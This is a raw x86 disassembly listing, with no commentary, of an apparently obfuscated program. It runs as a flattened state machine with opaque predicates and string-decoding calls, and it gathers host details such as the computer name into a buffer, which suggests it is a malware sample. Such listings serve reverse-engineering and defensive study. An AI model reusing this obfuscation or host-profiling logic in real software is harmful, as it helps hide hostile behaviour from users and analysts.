mov edi, dword [esi + 8]
add edi, 0xffffffde
mov ebx, edi
shr ebx, 0xe
mov dword [esi + 8], ebx
push ebx
call fcn.0043fc0c
add esp, 4
push ebx
push 0x83
push 0x209
push 0x39c4
call fcn.00444840
add esp, 0x10
mov eax, 0xbdd9fdec
cmp edi, 0x214000
jae 0x4412c7
mov eax, 0x9ef395ad
mov dword [esi + 4], eax
jmp 0x43fc24
cmp eax, 0x9d967b78
jle 0x44237f
cmp eax, 0x9d967b79
je 0x44397f
cmp eax, 0x9e2fa6d3
je 0x4439ce
cmp eax, 0x9e4279cd
jne 0x43fc24
mov dword [esi + 0xc], 0xfff24000
mov dword [esi + 4], 0xefb47bd9
jmp 0x43fc24
cmp eax, 0x461f581a
jle 0x442402
cmp eax, 0x461f581b
je 0x4439e4
cmp eax, 0x463a114b
je 0x443a12
cmp eax, 0x469974e6
jne 0x43fc24
push 7
push 0x4804fb
push 0x1b
push dword [esi + 0xa4]
call fcn.00444840
add esp, 0x10
push 0x1c
push dword [esi + 0xa4]
push dword [esi + 0x4c]
call fcn.0044cd70
add esp, 0xc
mov dword [esi + 4], 0x95d3505f
jmp 0x43fc24
cmp eax, 0xfb2a3d07
jle 0x442460
cmp eax, 0xfb2a3d08
je 0x443a67
cmp eax, 0xfc82ddc8
je 0x443a8b
cmp eax, 0xff67e51d
jne 0x43fc24
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x178]
mov word [eax + ecx], 0xa
push 2
push 0x55
call fcn.0045cb83
add esp, 8
mov dword [esi + 0x114], eax
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0xb8], eax
mov eax, dword [esi + 0xb8]
add eax, 0x18
mov dword [esi + 0x17c], eax
mov dword [esi + 4], 0xa3760a82
jmp 0x43fc24
cmp eax, 0x7e0ab08b
jle 0x44249f
cmp eax, 0x7e0ab08c
je 0x443abe
cmp eax, 0x7e1918fa
je 0x443af5
cmp eax, 0x7e3d8bd7
jne 0x43fc24
mov eax, dword [esi + 0xcc]
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xc0]
mov eax, dword [esi + 0xc4]
mov dword [esi + 0x18c], eax
mov dword [esi + 4], 0xa6bac59b
jmp 0x43fc24
cmp eax, 0xb10facfc
jg 0x4424d2
cmp eax, 0xafec42fd
je 0x443b01
cmp eax, 0xb0e1b55f
jne 0x4446f9
mov dword [esi + 4], 0xa6d1d8ea
jmp 0x43fc24
cmp eax, 0x231b4d5
jg 0x44251f
cmp eax, 0x1557802
je 0x443b3b
cmp eax, 0x2231c25
jne 0x43fc24
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x80], eax
mov eax, dword [esi + 0x80]
mov word [eax + 0x14], 0
push 0x14
push 0x473f80
push dword [esi + 0x80]
call fcn.0044cd70
add esp, 0xc
mov dword [esi + 4], 0x6c07dc46
jmp 0x43fc24
cmp eax, 0xbddb934b
jg 0x442547
cmp eax, 0xbaeb7a37
je 0x443b79
cmp eax, 0xbdd9fdec
jne 0x43fc24
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x58], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x5c], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x60], eax
mov dword [esi + 4], 0xe2605302
jmp 0x43fc24
cmp eax, 0x48f18c91
jg 0x442572
cmp eax, 0x472cf7c2
je 0x443b9b
cmp eax, 0x485de71b
jne 0x43fc24
push 0x55
push dword [esi + 0x114]
push dword [esi + 0x118]
call fcn.0045ed2f
add esp, 0xc
mov eax, dword [esi + 0x64]
sub esp, 0x10
mov eax, esp
mov dword [esi + 0xbc], eax
mov dword [esi + 4], 0xce740087
jmp 0x43fc24
cmp eax, 0x81329b4d
je 0x443bc5
cmp eax, 0x81649d46
jne 0x43fc24
mov ecx, dword [esi + 8]
mov eax, 0xfffffee4
add ecx, eax
mov dword [esi + 8], ecx
mov eax, 0xf4563577
cmp ecx, 0xbe
jb 0x44158c
mov eax, 0xd62d79db
mov dword [esi + 4], eax
jmp 0x43fc24
cmp eax, 0x25ed8bdd
je 0x443bee
cmp eax, 0x2840e0fc
jne 0x43fc24
mov eax, dword [esi + 0x170]
mov word [eax], 0xa
mov eax, dword [esi + 0x60]
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0xb4], eax
mov dword [esi + 4], 0xca312a6
jmp 0x43fc24
cmp eax, 0xd4b796f7
je 0x443c21
cmp eax, 0xd5b39c82
jne 0x43fc24
mov eax, dword [esi + 8]
shr eax, 0xf
add eax, 0x34
mov dword [esi + 8], eax
mov dword [esi + 4], 0x578adb76
jmp 0x43fc24
cmp eax, 0x5fa840b6
je 0x443c52
cmp eax, 0x6023b85b
jne 0x43fc24
push dword [esi + 0x10]
call fcn.0045de60
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x1c]
mov dword [esi + 4], 0x5a9da1ac
jmp 0x43fc24
cmp eax, 0x9e79e561
je 0x443c88
cmp eax, 0x9e9f1ead
jne 0x43fc24
shl dword [esi + 0xc], 0x19
mov dword [esi + 4], 0xa7055612
jmp 0x43fc24
cmp eax, 0x104c4fb4
je 0x443ca0
cmp eax, 0x127d2e53
jne 0x43fc24
mov ecx, dword [esi + 8]
mov eax, 0xffffff0a
add ecx, eax
mov dword [esi + 8], ecx
mov eax, 0x463a114b
cmp ecx, 0xda
jae 0x441692
mov eax, 0x25ed8bdd
mov dword [esi + 4], eax
jmp 0x43fc24
cmp eax, 0xc70cd5c9
je 0x443ce5
cmp eax, 0xc74ee642
jne 0x43fc24
mov eax, dword [esi + 0x150]
mov ecx, dword [esi + 0x90]
mov dl, byte [ecx + 2]
mov byte [eax + 2], dl
movzx ecx, word [ecx]
mov word [eax], cx
mov dword [esi + 4], 0x74fd6f1f
jmp 0x43fc24
cmp eax, 0x528e5eee
je 0x443d00
cmp eax, 0x52c0094f
jne 0x43fc24
push eax
push eax
mov eax, esp
mov dword [esi + 0x6c], eax
sub esp, 8
mov eax, esp
and eax, 0xfffffff8
mov esp, eax
mov dword [esi + 0x24], eax
mov dword [esi + 4], 0xe9f6d0e6
jmp 0x43fc24
cmp eax, 0x8c6092d4
je 0x443d1a
cmp eax, 0x8ca2d796
jne 0x43fc24
mov eax, dword [esi + 8]
shr eax, 9
and eax, 0xffffffe0
imul edi, eax, 0xc1
add edi, 0x3e
mov dword [esi + 8], edi
push edi
call fcn.0043fc0c
add esp, 4
push 0x2e15
push edi
push 0x5539
call fcn.0042c4cd
add esp, 0xc
mov eax, 0x5f687d33
cmp edi, 0xae
jge 0x441763
mov eax, 0x6e84da04
mov dword [esi + 4], eax
jmp 0x43fc24
cmp eax, 0x37b3dab2
je 0x443d4a
cmp eax, 0x37d8f3f6
jne 0x43fc24
imul eax, dword [esi + 0xc], 0x278
shr eax, 0xb
lea eax, [eax + eax*8]
lea eax, [eax + eax*8]
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xd7a671c
jmp 0x43fc24
cmp eax, 0xef7c14c1
je 0x443d79
cmp eax, 0xefb47bd9
jne 0x43fc24
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x188]
mov dword [eax], ecx
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x18c]
mov dword [eax + 4], ecx
mov eax, dword [esi + 0x14]
add eax, 8
mov dword [esi + 0x198], eax
mov dword [esi + 4], 0x7e0ab08c
jmp 0x43fc24
cmp eax, 0x72f4bcf0
je 0x443db5
cmp eax, 0x730eba7f
jne 0x43fc24
mov eax, dword [esi + 0x180]
mov byte [eax], 0
mov dword [esi + 4], 0x4c75140d
jmp 0x43fc24
cmp eax, 0xb1fcd5fe
je 0x443de3
cmp eax, 0xb274466f
jne 0x43fc24
mov eax, 2
push eax
push 0x480498
push eax
push dword [esi + 0x90]
call fcn.00444840
add esp, 0x10
mov dword [esi + 4], 0xc74ee642
jmp 0x43fc24
cmp eax, 0x830ca5a
je 0x443e01
cmp eax, 0x8a26991
jne 0x43fc24
mov eax, dword [esi + 0xc]
mov ecx, 0x1ba
add eax, ecx
imul ecx, eax, 0x5780000
imul eax, eax
imul edx, eax, 0x87f3
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0x2840e0fc
cmp eax, edx
je 0x44188d
mov ecx, 0x2d26e45e
mov dword [esi + 4], ecx
jmp 0x43fc24
cmp eax, 0xc21f4a11
je 0x443e44
cmp eax, 0xc291bead
jne 0x43fc24
imul eax, dword [esi + 8], 0xa5
shr eax, 0xf
imul ecx, eax, 0x6a
mov dword [esi + 8], ecx
mov eax, 0x25ed8bdd
cmp ecx, 0x6c
jb 0x4418ca
mov eax, 0x7b77bc8f
mov dword [esi + 4], eax
jmp 0x43fc24
cmp eax, 0x4dcbe325
je 0x443e88
cmp eax, 0x4dece08a
jne 0x43fc24
push eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x9c], eax
mov dword [esi + 4], 0x82edeb32
jmp 0x43fc24
cmp eax, 0x862db538
je 0x443ea2
cmp eax, 0x865d8d32
jne 0x43fc24
push 1
push 0xa
call fcn.0045cb83
add esp, 8
mov dword [esi + 0x11c], eax
mov dword [esi + 4], 0xa01a0d47
jmp 0x43fc24
cmp eax, 0x3080e2d3
je 0x443ed7
cmp eax, 0x311b76a0
jne 0x43fc24
mov eax, dword [esi + 8]
shr eax, 8
imul ecx, eax, 0x3a1b
mov dword [esi + 8], ecx
mov eax, 0xf8e559fe
cmp ecx, 0xe9
je 0x44196b
mov eax, 0xbdd9fdec
mov dword [esi + 4], eax
jmp 0x43fc24
cmp eax, 0xe544d742
je 0x443f03
cmp eax, 0xe5ad6a97
jne 0x43fc24
mov eax, 0xc50000
mov dword [esi + 8], eax
push eax
call fcn.0043fc0c
add esp, 4
mov dword [esi + 4], 0x2d53bf60
jmp 0x43fc24
cmp eax, 0x683bff05
je 0x443f28
cmp eax, 0x68b1d8d0
jne 0x43fc24
mov dword [esi + 4], 0x95cdd8ea
jmp 0x43fc24
cmp eax, 0xa3760a82
je 0x443f45
cmp eax, 0xa4ce8544
jne 0x43fc24
mov eax, dword [esi + 0x20]
add eax, 0x24
push eax
push dword [esi + 0x10]
call fcn.0045dc80
add esp, 8
push dword [esi + 0x10]
call fcn.0045de60
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov dword [esi + 4], 0x3b28e3c1
jmp 0x43fc24
cmp eax, 0x1d4db8fc
je 0x443f88
cmp eax, 0x1e2955ff
jne 0x43fc24
imul edi, dword [esi + 8], 0x6a
add edi, 0xffff4f1a
mov dword [esi + 8], edi
push edi
push 0x4bd3
push 0x1b05
push 0x29d9
call fcn.00444840
add esp, 0x10
mov eax, 0xd5b39c82
cmp edi, 0xb5
jae 0x441a5d
mov eax, 0x68bf22d4
mov dword [esi + 4], eax
jmp 0x43fc24
cmp eax, 0xcd6b4b46
je 0x443fa3
cmp eax, 0xce740087
jne 0x43fc24
mov dword [esi + 4], 0x82d3071f
jmp 0x43fc24
cmp eax, 0x59d26614
je 0x443fbc
cmp eax, 0x5a2b3fc9
jne 0x43fc24
mov eax, dword [esi + 0x88]
mov cl, byte [0x48047d]
mov byte [eax + 0xa], cl
movzx ecx, word [0x48047b]
mov word [eax + 8], cx
mov ecx, dword [0x480477]
mov dword [eax + 4], ecx
mov ecx, dword [0x480473]
mov dword [eax], ecx
mov dword [esi + 4], 0x840a5579
jmp 0x43fc24
cmp eax, 0x95d3505f
je 0x443fd6
cmp eax, 0x968383c5
jne 0x43fc24
mov dword [esi + 4], 0xf31e7dc1
jmp 0x43fc24
cmp eax, 0x3d4662e1
je 0x444012
cmp eax, 0x3ed8f8cf
jne 0x43fc24
imul edi, dword [esi + 8], 0x35cf
add edi, 0x1be7b6
mov dword [esi + 8], edi
push edi
call fcn.0043fc0c
add esp, 4
mov eax, 0x52c0094f
cmp edi, 0x86
jae 0x441b37
mov eax, 0x66177548
mov dword [esi + 4], eax
jmp 0x43fc24
cmp eax, 0xf490fa59
je 0x44402c
cmp eax, 0xf5a6595a
jne 0x43fc24
push 1
push 0x41
call fcn.0045cb83
add esp, 8
mov dword [esi + 0x14], eax
mov dword [esi + 4], 0xc0a7ca6d
jmp 0x43fc24
cmp eax, 0x79507f6f
je 0x444061
cmp eax, 0x79848f3b
jne 0x43fc24
mov edi, dword [esi + 8]
add edi, 0xffffffef
mov dword [esi + 8], edi
push edi
push 0x579e
push 0x6301
call fcn.0042c4cd
add esp, 0xc
push edi
push 0x20ab
push 0x1e4
push 0x2921
call fcn.00444840
add esp, 0x10
mov eax, 0xa225c1e2
cmp edi, 0xc6
jl 0x441bcc
mov eax, 0x7399185f
mov dword [esi + 4], eax
jmp 0x43fc24
cmp eax, 0xabf6196f
je 0x44408e
cmp eax, 0xac54653c
jne 0x43fc24
push 1
push 0x8000
call fcn.0045cb83
add esp, 8
mov dword [esi + 0x108], eax
mov dword [esi + 4], 0xd39e5d44
jmp 0x43fc24
cmp eax, 0x3ea9761
je 0x4440dc
cmp eax, 0x446e549
jne 0x43fc24
push eax
mov eax, esp
mov dword [esi + 0x74], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x78], eax
mov dword [esi + 4], 0xdc89495d
jmp 0x43fc24
cmp eax, 0xbf4444f6
je 0x444110
cmp eax, 0xc0a7ca6d
jne 0x43fc24
mov ecx, dword [esi + 0xc]
mov eax, ecx
shr eax, 5
shr ecx, 0x12
imul eax, eax
imul edx, eax, 0x4767
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0xac870535
cmp eax, edx
je 0x441c77
mov ecx, 0x968383c5
mov dword [esi + 4], ecx
jmp 0x43fc24
cmp eax, 0x4a3c51f5
je 0x44413e
cmp eax, 0x4b427871
jne 0x43fc24
mov dword [esi + 4], 0x7e1918fa
jmp 0x43fc24
cmp eax, 0x835148af
je 0x444160
cmp eax, 0x83d6949d
jne 0x43fc24
mov eax, dword [esi + 8]
shr eax, 9
lea ecx, [eax + eax*8]
lea edi, [eax + ecx*2]
mov eax, edi
shr eax, 0xa
mov dword [esi + 8], eax
call fcn.00407949
mov eax, 0xc74ee642
cmp edi, 0x11000
jb 0x441ce2
mov eax, 0x8a146f18
mov dword [esi + 4], eax
jmp 0x43fc24
cmp eax, 0x2d53bf60
je 0x44417a
cmp eax, 0x2e71e5ca
jne 0x43fc24
imul edi, dword [esi + 8], 0xa5
add edi, 0x27f6
mov dword [esi + 8], edi
push edi
call fcn.0043fc0c
add esp, 4
mov eax, 0xa6bac59b
cmp edi, 0x79
jl 0x441d28
mov eax, 0xf85fb342
mov dword [esi + 4], eax
jmp 0x43fc24
cmp eax, 0xde61a78c
je 0x4441be
cmp eax, 0xe0518cc5
jne 0x43fc24
mov ecx, dword [esi + 8]
shl ecx, 0x10
mov eax, 0x82d3071f
and ecx, 0xfe000000
mov dword [esi + 8], ecx
je 0x441d61
mov eax, 0xd3b5b038
mov dword [esi + 4], eax
jmp 0x43fc24
cmp eax, 0x6299c876
je 0x4441e0
cmp eax, 0x6403a008
jne 0x43fc24
push dword [esi + 0x74]
push dword [esi + 0x10]
call fcn.0045dc80
add esp, 8
mov dword [esi + 4], 0xcd598f4c
jmp 0x43fc24
cmp eax, 0xa140a1ab
je 0x44420a
cmp eax, 0xa188b9d6
jne 0x43fc24
mov eax, dword [esi + 0xc]
shr eax, 0xf
add eax, 0x7a
imul ecx, eax, 0x290
imul eax, eax
imul edx, eax, 0x2a7f
dec edx
add ecx, 0x7f8
mov dword [esi + 0xc], ecx
mov ecx, 0x1936181b
cmp eax, edx
je 0x441ddf
mov ecx, 0xea8c8821
mov dword [esi + 4], ecx
jmp 0x43fc24
cmp eax, 0x16690ac7
je 0x444229
cmp eax, 0x16fc7477
jne 0x43fc24
push eax
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0xf8], eax
mov dword [esi + 4], 0xaa5d8f45
jmp 0x43fc24
cmp eax, 0xcb2d4c25
je 0x44425b
cmp eax, 0xcbc2eb54
jne 0x43fc24
mov eax, dword [esi + 8]
lea edi, [eax*4 - 0x2f0]
and edi, 0xffffffe0
add edi, 0xffffff9b
mov dword [esi + 8], edi
push 0x364b
push 0xf7
push edi
push 0x293
call fcn.00444720
add esp, 0x10
push edi
push 0x164f
push 0x597c
push 0x5ed8
call fcn.00444720
add esp, 0x10
mov dword [esi + 4], 0x4147df62
jmp 0x43fc24
cmp eax, 0x573dd94c
je 0x44427c
cmp eax, 0x577d64e4
jne 0x43fc24
mov eax, dword [esi + 0x18]
mov dword [eax], 0x100
mov dword [esi + 4], 0xa2a4580b
jmp 0x43fc24
cmp eax, 0x909d14cd
je 0x444299
cmp eax, 0x91b2dfcd
jne 0x43fc24
mov eax, dword [esi + 0x34]
mov eax, dword [esi + 0x30]
mov dword [esi + 4], 0xaf47789a
jmp 0x43fc24
cmp eax, 0x39fa3476
je 0x4442a8
cmp eax, 0x39fbe18f
jne 0x43fc24
push dword [esi + 0x54]
push dword [esi + 0x10]
call fcn.0045dc80
add esp, 8
push dword [esi + 0x50]
push dword [esi + 0x10]
call fcn.0045dc80
add esp, 8
mov dword [esi + 4], 0x862db538
jmp 0x43fc24
cmp eax, 0xf31e7dc1
je 0x4442cb
cmp eax, 0xf3bd0545
jne 0x43fc24
push 0x1e
push dword [esi + 0xf8]
push dword [esi + 0x70]
call fcn.0044cd70
add esp, 0xc
push dword [esi + 0x70]
push dword [esi + 0x10]
call fcn.0045dc80
add esp, 8
push dword [esi + 0x11c]
push dword [esi + 0x10]
call fcn.0045dc80
add esp, 8
mov eax, dword [esi + 0x74]
mov dword [esi + 4], 0x8ce88bb7
jmp 0x43fc24
cmp eax, 0x73c1c3f2
je 0x4442f8
cmp eax, 0x742e0221
jne 0x43fc24
mov eax, dword [esi + 0x154]
mov byte [eax], 0
mov eax, dword [esi + 0x90]
movzx ecx, word [0x480496]
mov word [eax], cx
mov dword [esi + 4], 0xb274466f
jmp 0x43fc24
cmp eax, 0xb5a096ce
je 0x444325
cmp eax, 0xb5c9ae72
jne 0x43fc24
mov eax, dword [esi + 0xc]
shr eax, 9
add eax, 0xfb
shr eax, 1
mov ecx, eax
shl ecx, 7
add ecx, eax
add ecx, 0x65ca
mov edx, eax
imul edx, eax
imul edi, edx, 0x8115
dec edi
shr ecx, 0xa
add ecx, 0x9d
mov dword [esi + 0xc], ecx
mov eax, 0x61ea1718
cmp edi, edx
je 0x441ff3
mov eax, 0x8a146f18
mov dword [esi + 4], eax
jmp 0x43fc24
cmp eax, 0xc5c8d49
je 0x444352
cmp eax, 0xca312a6
jne 0x43fc24
mov eax, dword [esi + 0xb4]
mov byte [eax + 0x14], 0
mov edi, 0x14
push edi
push 0x480570
push dword [esi + 0xb4]
call fcn.0044cd70
add esp, 0xc
push 7
push 0x480584
push edi
push dword [esi + 0xb4]
call fcn.00444840
add esp, 0x10
push 0x15
push dword [esi + 0xb4]
push dword [esi + 0x60]
call fcn.0044cd70
add esp, 0xc
push dword [esi + 0x60]
push dword [esi + 0x10]
call fcn.0045dc80
add esp, 8
push dword [esi + 0x100]
push dword [esi + 0x10]
call fcn.0045dc80
add esp, 8
push dword [esi + 0x10]
call fcn.0045de60
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x174], eax
mov dword [esi + 4], 0xe1c66a6c
jmp 0x43fc24
cmp eax, 0xc4aa367c
je 0x44435e
cmp eax, 0xc5870a4e
jne 0x43fc24
push eax
sub esp, 8
mov edi, esp
mov byte [edi + 0xa], 0
movzx eax, word [0x4804b8]
mov word [edi + 8], ax
mov eax, dword [0x4804b4]
mov dword [edi + 4], eax
mov eax, dword [0x4804b0]
mov dword [edi], eax
mov ebx, 4
push ebx
push 0x4804ba
push 0xa
push edi
call fcn.00444840
add esp, 0x10
mov eax, dword [esi + 0x3c]
mov ecx, dword [edi + 7]
mov dword [eax + 7], ecx
mov ecx, dword [edi]
mov edx, dword [edi + 4]
mov dword [eax + 4], edx
mov dword [eax], ecx
push dword [esi + 0x3c]
push dword [esi + 0x10]
call fcn.0045dc80
add esp, 8
push dword [esi + 0x38]
push dword [esi + 0x10]
call fcn.0045dc80
add esp, 8
push dword [esi + 0x10]
call fcn.0045de60
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x40]
mov eax, dword [esi + 0x18]
mov dword [eax], 0x100
push dword [esi + 0x18]
push dword [esi + 0x40]
push ebx
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x44]
sub esp, 0x10
mov eax, esp
mov dword [esi + 0xa0], eax
mov dword [esi + 4], 0x37b3dab2
jmp 0x43fc24
cmp eax, 0x507da226
je 0x44439d
cmp eax, 0x5101437e
jne 0x43fc24
mov eax, dword [esi + 0xc]
shr eax, 8
imul ecx, eax, 0x21c00
imul eax, eax
imul edx, eax, 0x878d
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0x2231c25
cmp edx, eax
je 0x44219f
mov ecx, 0x4fa8551d
mov dword [esi + 4], ecx
jmp 0x43fc24
cmp eax, 0x89c20c5a
je 0x4443b8
cmp eax, 0x8a146f18
jne 0x43fc24
push eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x88], eax
mov eax, dword [esi + 0x88]
mov byte [eax + 0xb], 0
mov dword [esi + 4], 0xb10facfd
jmp 0x43fc24
cmp eax, 0x34a85f49
je 0x444455
cmp eax, 0x34ea88bc
jne 0x43fc24
mov edi, dword [esi + 8]
mov eax, 0x1cf
add edi, eax
mov ebx, edi
shr ebx, 7
mov dword [esi + 8], ebx
call fcn.00407949
push ebx
call fcn.0043fc0c
add esp, 4
mov eax, 0x9ef395ad
cmp edi, 0x5980
jae 0x442227
mov eax, 0xe544d742
mov dword [esi + 4], eax
jmp 0x43fc24
cmp eax, 0xea42df83
je 0x44448b
cmp eax, 0xea8c8821
jne 0x43fc24
mov eax, dword [esi + 0x64]
mov ecx, dword [esi + 0xbc]
mov dl, byte [ecx + 0xc]
mov byte [eax + 0xc], dl
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x64]
push dword [esi + 0x10]
call fcn.0045dc80
add esp, 8
push dword [esi + 0x118]
push dword [esi + 0x10]
call fcn.0045dc80
add esp, 8
mov dword [esi + 4], 0xc2e940b7
jmp 0x43fc24
cmp eax, 0x6e5dfc4e
je 0x4444c0
cmp eax, 0x6e84da04
jne 0x43fc24
mov eax, dword [esi + 8]
shr eax, 7
imul eax, eax, 0x76
mov dword [esi + 8], eax
mov dword [esi + 4], 0x311b76a0
jmp 0x43fc24
cmp eax, 0xa7071fc1
je 0x4444cc
cmp eax, 0xaa3433c0
jne 0x43fc24
push 4
push 0x480597
push 0xc
push dword [esi + 0xbc]
call fcn.00444840
add esp, 0x10
mov dword [esi + 4], 0xa188b9d6
jmp 0x43fc24
cmp eax, 0x20ed5b0e
je 0x44455b
cmp eax, 0x23139ff4
jne 0x43fc24
mov dword [esi + 4], 0xc1cecfe1
jmp 0x43fc24
cmp eax, 0xd2959f27
je 0x444588
cmp eax, 0xd339d5fe
jne 0x43fc24
mov eax, dword [esi + 0xc]
shl eax, 0xd
and eax, 0x7fffe000
imul eax, eax, 0xe7
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x5ead8a11
jmp 0x43fc24
cmp eax, 0x5d1ff24c
je 0x4445ba
cmp eax, 0x5d54c426
jne 0x43fc24
mov eax, dword [esi + 0x10]
add eax, dword [esi + 0x1c4]
mov dword [esi + 0x1c8], eax
mov dword [esi + 4], 0x59d26614
jmp 0x43fc24
cmp eax, 0x9cc5e09c
je 0x4445f3
cmp eax, 0x9d673473
jne 0x43fc24
mov eax, dword [esi + 0xa0]
mov cl, byte [0x4804ca]
mov byte [eax + 0xc], cl
mov ecx, dword [0x4804c6]
mov dword [eax + 8], ecx
mov ecx, dword [0x4804c2]
mov dword [eax + 4], ecx
mov ecx, dword [0x4804be]
mov dword [eax], ecx
push 6
push 0x4804cb
push 0xd
push dword [esi + 0xa0]
call fcn.00444840
add esp, 0x10
mov eax, dword [esi + 0x44]
mov ecx, dword [esi + 0xa0]
movzx edx, word [ecx + 0xc]
mov word [eax + 0xc], dx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
mov dword [esi + 4], 0xc2fe1158
jmp 0x43fc24
cmp eax, 0x435a0da4
je 0x444619
cmp eax, 0x45469859
jne 0x43fc24
mov eax, dword [esi + 8]
lea edi, [eax + eax*2]
shl edi, 3
sub edi, eax
add edi, 0xffffed0b
mov dword [esi + 8], edi
call fcn.00407949
push 0x2fcb
push 0x3b0b
push 0x3635
push edi
call fcn.00444720
add esp, 0x10
mov eax, 0x1557802
cmp edi, 0x13
jb 0x442458
mov eax, 0x485de71b
mov dword [esi + 4], eax
jmp 0x43fc24
cmp eax, 0xf95480d7
je 0x444634
cmp eax, 0xfaaf446a
jne 0x43fc24
mov edi, dword [esi + 8]
mov eax, 0xde
add edi, eax
mov dword [esi + 8], edi
call fcn.00407949
mov eax, 0xac54653c
cmp edi, 0x20
jae 0x442497
mov eax, 0xf8e559fe
mov dword [esi + 4], eax
jmp 0x43fc24
cmp eax, 0x79dcd6a1
je 0x444669
cmp eax, 0x7b77bc8f
jne 0x43fc24
push dword [esi + 0x10]
call fcn.0045de60
add esp, 4
mov dword [esi + 0x14c], eax
mov dword [esi + 4], 0x25ed8bdd
jmp 0x43fc24
cmp eax, 0xb10facfd
je 0x44469b
cmp eax, 0xb1e29254
jne 0x43fc24
mov edi, dword [esi + 8]
shl edi, 9
mov dword [esi + 8], edi
push 0x1a95
push 0x263f
push edi
push 0x3cb2
call fcn.00444720
add esp, 0x10
mov eax, 0x127d2e53
test edi, edi
je 0x442517
mov eax, 0x830ca5a
mov dword [esi + 4], eax
jmp 0x43fc24
cmp eax, 0x231b4d6
je 0x4446b4
cmp eax, 0x2d64ae0
jne 0x43fc24
mov eax, dword [esi + 0x4c]
mov eax, dword [esi + 0x48]
mov dword [esi + 4], 0x72687fc5
jmp 0x43fc24
cmp eax, 0xbddb934c
je 0x4446c3
cmp eax, 0xbf3ab78d
jne 0x43fc24
mov eax, dword [esi + 0x1d4]
mov byte [eax], 0
mov dword [esi + 4], 0x359e8812
jmp 0x43fc24
cmp eax, 0x48f18c92
je 0x4446de
cmp eax, 0x48fbba78
jne 0x43fc24
mov eax, dword [esi + 0x24]
xor ecx, ecx
mov dword [eax + 4], ecx
mov dword [eax], ecx
mov dword [esi + 4], 0x2edb9700
jmp 0x43fc24
mov eax, dword [esi + 0xbc]
add eax, 0xc
mov dword [esi + 0x180], eax
mov dword [esi + 4], 0xc70cd5c9
jmp 0x43fc24
mov eax, dword [esi + 0xc]
shl eax, 0x1f
or eax, 0x14
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x48f18c92
jmp 0x43fc24
mov eax, dword [esi + 0x74]
mov dword [eax], 0xa424d
mov dword [esi + 4], 0x6403a008
jmp 0x43fc24
mov eax, dword [esi + 8]
shl eax, 0x18
add eax, 0x60000ec0
shr eax, 5
mov dword [esi + 8], eax
mov dword [esi + 4], 0xc443767f
jmp 0x43fc24
mov eax, dword [esi + 0x7c]
mov word [eax + 0x14], 0
mov dword [esi + 4], 0xb296c61
jmp 0x43fc24
mov dword [esi + 4], 0xc5870a4e
jmp 0x43fc24
mov eax, dword [esi + 0xc]
shl eax, 7
add eax, 0xffffee71
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xc5c8d49
jmp 0x43fc24
imul eax, dword [esi + 8], 0x4a0000
add eax, 0xffffff52
mov dword [esi + 8], eax
call fcn.00407949
mov dword [esi + 4], 0x104c4fb4
jmp 0x43fc24
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x64], eax
mov dword [esi + 4], 0x87946877
jmp 0x43fc24
mov eax, dword [esi + 0xc]
shr eax, 7
add eax, 0xffffff70
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x4c3f
dec edx
shr eax, 1
and eax, 0xfffffff
mov dword [esi + 0xc], eax
mov eax, 0xc5870a4e
cmp edx, ecx
je 0x4426a2
mov eax, 0x3929d46b
mov dword [esi + 4], eax
jmp 0x43fc24
push eax
mov eax, esp
mov dword [esi + 0x18], eax
mov dword [esi + 4], 0xf490fa59
jmp 0x43fc24
mov edi, dword [esi + 8]
mov eax, 0x184
add edi, eax
mov dword [esi + 8], edi
push 0x181d
push 0x2f9
push edi
push 0x4ff8
call fcn.00444720
add esp, 0x10
call fcn.00407949
mov eax, 0x9ef395ad
cmp edi, 0x8a
jb 0x4426f8
mov eax, 0x1f8f41c8
mov dword [esi + 4], eax
jmp 0x43fc24
mov dword [esi + 4], 0x73bde01b
jmp 0x43fc24
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xac], eax
mov eax, dword [esi + 0xac]
mov byte [eax + 0xe], 0
mov dword [esi + 4], 0x88d85f77
jmp 0x43fc24
imul eax, dword [esi + 8], 0x51000
and eax, 0xffff8000
imul edi, eax, 0x89
or edi, 0xd
mov dword [esi + 8], edi
push 0xd00
push 0x13e7
push edi
push 0x4582
call fcn.00444720
add esp, 0x10
mov eax, 0x4dece08a
cmp edi, 0xb1
jb 0x442770
mov eax, 0x5a2b3fc9
mov dword [esi + 4], eax
jmp 0x43fc24
mov eax, dword [esi + 0x164]
mov eax, dword [eax]
mov dword [esi + 0x130], eax
mov eax, dword [esi + 0x1c]
mov eax, dword [eax + 4]
mov dword [esi + 0x12c], eax
mov eax, dword [esi + 0x1c]
